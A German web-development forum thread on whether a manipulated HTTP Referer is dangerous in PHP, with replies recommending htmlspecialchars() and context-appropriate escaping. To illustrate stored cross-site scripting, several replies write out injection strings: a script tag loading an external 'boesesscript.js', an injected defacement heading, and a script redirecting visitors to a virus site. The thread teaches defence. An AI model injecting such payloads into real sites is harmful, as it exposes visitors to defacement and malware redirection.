Kodi: Sicherheitslücke PHP Referrer

Hallo,

ich habe vor kurzem gelesen das ein Referrer in PHP stark
manipulierbar ist. Leider habe ich den Beitrag nicht mehr
gefunden und finde auch nichts weiteres darüber.

Was kann ein unsicherer Referrer anrichten, oder wie
kann ich mich vor diesen manipulationen schützen?

Finde leider nicht und hoffe _ _ _   _ _ _ _ _ _ _

  1. Hallo Kodi,

    ich habe vor kurzem gelesen das ein Referrer in PHP stark
    manipulierbar ist.

    Der Referrer ist generell Manipulierbar

    Was kann ein unsicherer Referrer anrichten,

    Ein Referrer ist weder sicher noch unsicher, sondern einfach nur ein Text, Höchstens ein verarbeitendes Script kann unsicher sein,

    oder wie
    kann ich mich vor diesen manipulationen schützen?

    Garnicht.

    Jonathan

    1. wie
      kann ich mich vor diesen manipulationen schützen?

      Garnicht.

      Jonathan

      Lol -
      Heißt das der Referrer ist nur manipulierbar aber kann
      keine großen Schäden anrichten?
      Oder sollte man von einem Referrer eher Abstand nehmen.
      Oder müssen die Referrer Infos validiert werden?

      Kodi

      1. Hello,

        Oder sollte man von einem Referrer eher Abstand nehmen.

        muss man nicht.

        Oder müssen die Referrer Infos validiert werden?

        nein, kannst du auch nicht, du musst dir bei jeglicher Verwendung bewusst sein, dass der Referer nur informatorisch genutzt werden kann und keinerlei verlässliche Informationen enthält. Du kannst eine Statistik führen, verlasse dich aber nicht darauf, dass sie korrekt ist.

        MfG
        Rouven

        --
        -------------------
        sh:| fo:} ch:? rl:( br:& n4:{ ie:| mo:} va:) js:| de:] zu:| fl:( ss:) ls:& (SelfCode)
        Unser Problem ist, dass wir eine Demokratie entwickelt haben, was nicht immer der richtige Weg ist  --  Bernie Ecclestone zu den lästigen Diskussionen um Regeländerungen in der Formel 1
        1. Also sollte man beim ausgeben der Referrer Informationen die String
          sozusagen überprüfen und HTML bzw. Javaskript Code entfernen.

          Geht oder reicht es dann mit strip_tags() bestimmte Zeichen zu
          entfernen?

          Gruss
          Kodi

          1. Hallo Kodi,

            Also sollte man beim ausgeben der Referrer Informationen die String
            sozusagen überprüfen und HTML bzw. Javaskript Code entfernen.

            Jein, du musst es nicht zwingend entfernen, überlege dir nur, mit welchen gesendeten Referen bei dir irgendein unerwünschtes verhalten passieren könnte.

            Geht oder reicht es dann mit strip_tags() bestimmte Zeichen zu
            entfernen?

            Besser ist vermutlich htmlentities(), du kannst dann zusätzlich noch überprüfen, ob der Referer ne gültige URL ist. Dsa betrifft natürlich nur die HTMl-Ausgabe. Falls du den Referer in ne Datenbank schreiben willst, musst du andere Methoden zum escapen verwenden und wenn du ihn nur mit irgendwas vergleichst musst (und solltest) du eigentlich keine solche Prüfung vornehmen.

            Jonathan

          2. echo $begrüßung;

            Also sollte man beim ausgeben der Referrer Informationen die String sozusagen überprüfen und HTML bzw. Javaskript Code entfernen.
            Geht oder reicht es dann mit strip_tags() bestimmte Zeichen zu entfernen?

            Das Grundprinzip lautet: Wann immer ein Wert in einen bestimmten Kontext ausgegeben werden soll, muss dieser dem Kontext entsprechend behandelt werden.

            Wenn du etwas in Richtung HTML ausgeben willst, musst du diejenigen Zeichen, die HTML als Code ansehen kann, so notieren, dass sie als normale Daten interpretiert werden. Konkret sind die HTML-eigenen Zeichen zu beachten. PHP stellt eine Funktion bereit, die genau diese Zeichen berücksichtigt: htmlspecialchars(). Wende diese stets auf die variablen Werte an, die du ausgeben möchtest.

            Mit der kontextgerechten Behandlung kann schon mal nichts mehr passieren, wenn sie richtig angewendet wird. Dass dann eventuell Inhalte auf der Seite zu sehen sind, die man da nicht haben will, ist ein anderes Problem. Hier hilft dann nur eine Prüfung auf Inhalte. Das ist technisch nicht immer vollständig zu bewerkstelligen, weil dazu bekannt sein muss, was als "ungewollt" betrachtet werden soll. Und das weiß man im Vorfeld nicht immer konkret, bevor man es gesehen hat.

            echo "$verabschiedung $name";

      2. Hallo Kodi,

        Heißt das der Referrer ist nur manipulierbar aber kann
        keine großen Schäden anrichten?

        Der Referer ist beliebig manipulierbar aber an sich ungefährlich. Schaden anrichten kann er wenn dein Auswertungsscript anfällig z.B. gegen HTML-Injection ist.

        Wenn du z.B. aus irendwelchen schwachsinnigen Gründen die 10 letzten Referer auf deine Seite schreibst und dabei keine HTML-Steuerzeichen escapest, kann ich dir einfach

        <script src='http:example.org/boesesscript.js'></script>
        oder auch
        <h1 style="color:red">Diese Seite ist unsicher, Hahahaha</h1>

        als Referer schicken und du baust das dann in deine Seite ein.

        Oder sollte man von einem Referrer eher Abstand nehmen.

        Wenn du meinst, ob du von der Verarbeitung des Referrern abstand nehmen solltest, das ist nicht zwingend notwendig. Nur solltest du halt bedenken, dass der beliebig manipulierbar ist.

        Oder müssen die Referrer Infos validiert werden?

        Wie willst du das denn machen?

        Jonathan

        1. Wie willst du das denn machen?

          Beispielsweise mit einem regulären Ausdruck prüfen, ob der Referer der Syntax einer URL entspricht? ;)

          Gruß,
          Andreas

          1. Hallo RFZ,

            Beispielsweise mit einem regulären Ausdruck prüfen, ob der Referer der Syntax einer URL entspricht? ;)

            Kann man machen. Das hindert einen aber immernoch nicht daran, eine falsche URL zu senden. Und man muss aufpassen, dass der RegExp nicht sowas wie http://example.org/<b>Bla</b> durchlässt. Oder falls das verarbeitende Script mit HTMl-Ausgabe die URL eben dekodiert und man sowas sendet wie http://example.org/%3Cb%3EBla%3C/b%3E muss man eben noch zusätzlich mit HTML-Entities escapen.

            Jonathan

  2. Hallo Kodi,

    Was kann ein unsicherer Referrer anrichten

    manche Webseiten führen irgendwo auf der Seite eine Liste: "verlinkt von" oder "letzte Besucher von:" Wenn dort ungeprüft der Referer verwendet wird kann man einen Referer in der Art:

    <script type="text/javascript">location.href="http://SeiteMitVirus.de"</script>

    einschmuggeln. Und künftig wird jeder Besucher der Seite (sofern javascript aktiv ist) auf http://SeiteMitVirus.de umgeleitet.

    So kann man auch neugierige Webmaster auf verseuchte Seiten locken. Die Referer werden fast immer in den Logfiles des Servers angezeigt. Ein unvorsichtiger Klick (der flasche Browser) und schon hat man sich was eingefangen.

    wie kann ich mich vor diesen manipulationen schützen?

    Den Referer nie ungeprüft verwenden und für den zweiten Fall http://brain.yubb.de/

    Grüße,

    Jochen

    --
    Kritzeln statt texten:
    Scribbleboard
    1. Hi,

      manche Webseiten führen irgendwo auf der Seite eine Liste: "verlinkt von" oder "letzte Besucher von:" Wenn dort ungeprüft der Referer verwendet wird kann man einen Referer in der Art:

      <script type="text/javascript">location.href="http://SeiteMitVirus.de"</script>

      einschmuggeln. Und künftig wird jeder Besucher der Seite (sofern javascript aktiv ist) auf http://SeiteMitVirus.de umgeleitet.

      Selbst wenn dieses Szenario nicht eintritt - oftmals werden z.B. Weblog-Eintrage mit Referrern, die auf Porno-Seiten verweisen, abgerufen - in der Hoffnung, dass jemand diese anschliessend auf seiner Weblog-Seite anzeigt, und damit zumindest kurzfristig fuer eine Verlinkung dieser Seiten sorgt.

      MfG ChrisB